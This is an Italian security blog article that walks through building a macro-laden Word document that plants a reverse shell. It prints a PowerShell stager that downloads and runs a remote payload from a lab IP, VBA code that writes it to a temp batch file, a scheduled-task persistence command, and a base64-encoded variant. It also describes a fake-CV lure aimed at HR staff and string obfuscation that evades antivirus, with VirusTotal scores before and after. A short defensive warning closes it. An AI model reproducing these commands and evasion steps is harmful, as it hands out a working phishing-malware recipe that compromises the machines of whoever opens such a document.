Red Hot Cyber
La cybersecurity è condivisione. Riconosci il rischio, combattilo, condividi le tue esperienze ed incentiva gli altri a fare meglio di te.
Cerca
Red Hot Cyber Academy

Sotto Attacco: Come un Documento Word Può Essere la Tua Più Grande Minaccia

Manuel Roccon : 11 Dicembre 2023 06:55

Sappiamo che documenti malevoli come word vengono usati nelle campagne di phishing per diffondere malware, rubare credenziali e informazioni sensibili. Ma come può un documento word può fare tutte queste cose essendo usato per leggere e scrivere documenti?

In questo articolo vedremo come un documento word con delle macro può permetterci di fare alcune cose interessanti, tra cui salvare dati sul disco, comunicare con un server remoto e ottenere il controllo del dispositivo della vittima. 

Verificheremo il funzionamento e vedremo come un antivirus rilevi la minaccia. In seguito applicheremo degli offuscamenti in modo che il malware sia meno rilevabile. Utilizzeremo le macro in un foglio word per far scrivere in un file bat un una directory temporanea contenente un payload.

Iscriviti GRATIS ai WorkShop Hands-On della RHC Conference 2025 (Giovedì 8 maggio 2025)

Il giorno giovedì 8 maggio 2025 presso il teatro Italia di Roma (a due passi dalla stazione termini e dalla metro B di Piazza Bologna), si terranno i workshop "hands-on", creati per far avvicinare i ragazzi (o persone di qualsiasi età) alla sicurezza informatica e alla tecnologia. Questo anno i workshop saranno:

  • Creare Un Sistema Ai Di Visual Object Tracking (Hands on)
  • Social Engineering 2.0: Alla Scoperta Delle Minacce DeepFake
  • Doxing Con Langflow: Stiamo Costruendo La Fine Della Privacy?
  • Come Hackerare Un Sito WordPress (Hands on)
  • Il Cyberbullismo Tra Virtuale E Reale
  • Come Entrare Nel Dark Web In Sicurezza (Hands on)

  • Potete iscrivervi gratuitamente all'evento, che è stato creato per poter ispirare i ragazzi verso la sicurezza informatica e la tecnologia.
    Per ulteriori informazioni, scrivi a [email protected] oppure su Whatsapp al 379 163 8765


    Supporta RHC attraverso:


    Ti piacciono gli articoli di Red Hot Cyber? Non aspettare oltre, iscriviti alla newsletter settimanale per non perdere nessun articolo.

    Tenteremo di ottenere anche la persistenza utilizzando le attività pianificate di Windows che eseguirà il payload a intervalli regolari e ogni volta tenterà di comunicare con il nostro server malevolo, per scaricare il payload finale e avviare una shell remota sul dispositivo della vittima.

    Per il test ho installato Avira Free all’ultima versione e fermata la scansione realtime per permetterci di creare e manipolare il documento malevolo. 

    Iniziamo

    Per prima cosa dobbiamo abilitare gli Strumenti sviluppo word che ci faranno accedere all’editor delle macro. Quindi andiamo in:

    File -> Opzioni -> Personalizzazione barra applicazioni

    Creiamo il primo esempio

    Nel primo esempio che creeremo, inseriremo delle macro senza applicare nessun offuscamento particolare. Ora accediamo agli strumenti di sviluppo e creiamo una macro

    Questa di seguito è la macro di default che viene creata

    Ora andiamo a sostituire quella di default con questa, per permettere l’esecuzione automatica all’apertura del documento.

    Ora inseriamo questo codice.

    Vediamolo nel dettaglio:

    Qui viene definito uno stager: Uno stager è un eseguibile compatto utilizzato negli attacchi informatici a più fasi per stabilire una connessione al server di comando e controllo (C&C) , fornire ed eseguire moduli dannosi più grandi, nel nostro caso il codice powershell per avviare la reverse shell.

    Last = "powershell -exec bypass IEX ((new-object net.webclient).downloadstring('http://192.168.218.128/poc.txt')) -WindowStyle Minimized"

    Lo stager verrà salvato un una directory temporanea in un file BAT:

    FileName = oShell.ExpandEnvironmentStrings("%Temp%\d.bat")
    Set fso = CreateObject("Scripting.FileSystemObject")
    Set oFile = fso.CreateTextFile(FileName)
    oFile.WriteLine "@echo off"
    oFile.WriteLine Last
    oFile.Close
    Set oFile = Nothing

    Per mantenere la persistenza verrà creata un’attività schedulata che eseguirà il nostro stager ogni 5 minuti per mantenere la persistenza, lo stager scaricherà ed eseguirà on memory il payload nel server remoto:

    CreateObject("Wscript.Shell").Run "CMD /C ""SCHTASKS /CREATE /sc minute /mo 5 /TN """"MyTasks\Notepad"""" /TR '%Temp%\d.bat' /F""""", 0, False

    A questo punto dobbiamo salvare il documento come docm.

    Un po’ di social engineering

    I file contenenti macro solitamente vengono bloccati con un avviso quindi dobbiamo confondere ed indurre la vittima ad accettare di attivare le macro. In questo caso supponiamo di attaccare l’ufficio HR che sarà abituata a leggere molti CV.

    Quindi camuffiamo il documento come un “documento stranamente protetto”, inserendo come sfondo un CV offuscato e un testo che chieda di accettare il messaggio per leggerlo, in quanto è protetto. Andiamo nell’intestazione del documento, e mettiamoci lo sfondo.

    A questo punto mettiamo un messaggio ingannevole

    Salviamo tutto e riapriamo il documento, ora l’esca è perfetta.

    Testiamo il funzionamento

    Ora vediamo funzionamento:

    In alto a sinistra è presente il payload, è una reverse shell in powershell che verrà eseguita dallo stager. In questo payload potremmo metterci qualunque cosa.

    A destra invece il nostro server HTTP che servirà il payload (poc.txt) che lo stager scaricherà quando la macro nel file verrà eseguito.

    Infine in basso a sinistra il nostro listener in ascolto. Una volta eseguito il payload, verrà stabilità la reverse shell alla vittima.

    Apriamo il documento ed ecco la nostra reverse shell sulla macchina vittima.

    Appena il task verrà eseguito, verrà scaricato il payload (alto a sinistra) dal server eseguito in memory  (alto a destra) dalla vittima e quindi verrà aperta la reverse shell.

    Analizziamo ora che nella directory TEMP è stato creato il nostro stager.

    Ed è presente anche  l’operazione pianificata creata che verrà eseguita ogni 5 minuti mantenendo la persistenza.

    Analisi antivirus

    Tutto bello fin qui, ma vediamo come l’antivirus veda il file. Abilitiamo la scansione real time e apriamo il file.

    Il file viene visto ancor prima che venga eseguito…

    Ora vediamo come possiamo evadere l’antivirus..

    Offuschiamo lo stager 

    Powershell ha una funzione che permette di encodare in base64 il codice da eseguire,  questo renderà illeggibile il codice se all’interno se non decodificato.

    A tale scopo usiamo questa repo di github.

    https://github.com/plackyhacker/ps-encoder

    powershell -WindowStyle Minimized -exec bypass -enc SQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMgAxADgALgAxADIAOAAvAHAAbwBjAC4AdAB4AHQAJwApACkA

    Ora sostituiamola nel codice

    Offuschiamo il payload che verrà scaricato dal server ed eseguito.

    Allo stesso modo offuschiamo il payload presente sul server.

    Per far eseguire il payload sarà necessario includere tutto il payload all’interno di $()

    Offuschiamo le variabili:

    Ho creato uno script al volo per poter offuscare le stringhe nelle variabili in modo che sia molto difficile per l’antivirus comprendere cosa contengono, inoltre alterno caratteri codificati in ascii a caratteri normali.

    Essendo che i comandi powershell o CMD contengono apici che possono interferire nella creazione della stringa, può essere necessario modificare l’originale per non generare errori.

    Questo è output generato:

    Ora sostituiamo man mano le varie stringhe.

    Finito tutto verifichiamo di nuovo.

    Il funzionamento è analogo a prima.

    Test finale

    Ora facciamo una scansione e proviamo anche ad aprire il file word e abilitiamo la scansione real time, ma la versione free di Avira questa volta non ha più rilevato la minaccia.

    Virustotal

    VirusTotal è un servizio web per analizzare link e documenti e con una moltitudine di antivirus e verificare se vengano riconosciuti malevoli.

    https://www.virustotal.com/

    Ora non ci resta che analizzare i POC su VirusTotal e verificare quanti antivirus rilevano i documenti come minacce!

    Nel primo POC ricaviamo un punteggio di 30 su 60 vendors che hanno rilevato una minaccia.

    https://www.virustotal.com/gui/file/6d12e1f7e22554e52e873ae8e7d326464c8e5cb150d27a40342036fa9aa02685/detection

    Quello offuscato otteniamo invece un punteggio di 22 su 62.

    https://www.virustotal.com/gui/file/9cc54200c6986555768ad0d6499396a9edf4870bdb08a3aade181565e2e57b5e/behavior

    Applicando gli offuscamenti abbiamo evaso 8 antivirus rispetto alla versione non offuscata.

    Approfondimento

    Cosa interessante, dopo aver caricato i file di virus total, il giorno dopo il secondo poc ha iniziato ad essere rilevato. Quindi probabilmente le firme contengono anche i rilevamenti di virus total.

    Però è bastato modificare un carattere nel testo del documento (quindi la firma del file è cambiata) e il file di nuovo è tornato a essere non rilevabile.

    Conclusioni

    In questo articolo abbiamo visto alcuni punti fondamentali per poter rendere minaccioso un documento word attraverso le macro, per cui è sempre necessario prestare attenzione ai documenti che vengono aperti soprattutto se arrivano via mail, da mittenti sconosciuti e documenti come questo che richiedano l’attivazione delle macro.

    Da ricordare che l’utilizzo delle macro in questi documenti sono solo uno dei possibili modi per rendere un documento dannoso, per esempio ci sono anche le CVE, come la scorsa Follina (CVE-2022-30190) entrata nelle classifiche delle 10 vulnerabilità più sfruttate nel 2022, che permettono a questi documenti di poter eseguire codice dannoso sulle macchine delle vittime.

    Manuel Roccon
    Ho iniziato la mia carriera occuparmi nella ricerca e nell’implementazioni di soluzioni in campo ICT e nello sviluppo di applicazioni. Al fine di aggiungere aspetti di sicurezza in questi campi, da alcuni anni ho aggiunto competenze inerenti al ramo offensive security (OSCP), occupandomi anche di analisi di sicurezza e pentest in molte organizzazioni.

    Articoli in evidenza

    DarkLab intervista HellCat Ransomware! La chiave è “assicurarsi che tutti comprendano la cybersecurity”

    Il ransomware HellCat è apparso nella seconda metà del 2024 e ha attirato l’attenzione degli analisti grazie all’umorismo delle sue dichiarazioni pubbliche. Ricordiamo l’...

    X/Twitter nel Caos! Un Threat Actors pubblica 2.8 Miliardi di Account Compromessi

    Il 28 marzo 2025, un utente del noto forum di cybersecurity BreachForums, con lo pseudonimo ThinkingOne, ha rivelato quello che potrebbe essere il più grande data breach mai registrato nel mondo ...

    Signal è abbastanza sicuro per la CIA e per il CISA. Lo è anche per te?

    Quando Jeffrey Goldberg dell’Atlantic ha fatto trapelare accidentalmente un messaggio di gruppo privato di alti funzionari statunitensi su un possibile attacco contro gli Houthi nello Yemen, ha...

    Addio alle password! La rivoluzione della sicurezza informatica è già iniziata

    Ogni mese diventa sempre più evidente: le password non funzionano più. Gli hacker hanno imparato a eludere anche la protezione a due fattori sfruttando sessioni rubate e milioni di dati comp...

    Alla scoperta della Pseudonimizzazione: Tra definizione e valore giuridico

    La pseudonimizzazione è una tecnica di protezione dei dati definita dall’art. 4(5) del GDPR. Consiste nella trasformazione dei dati personali in modo tale che non possano più essere a...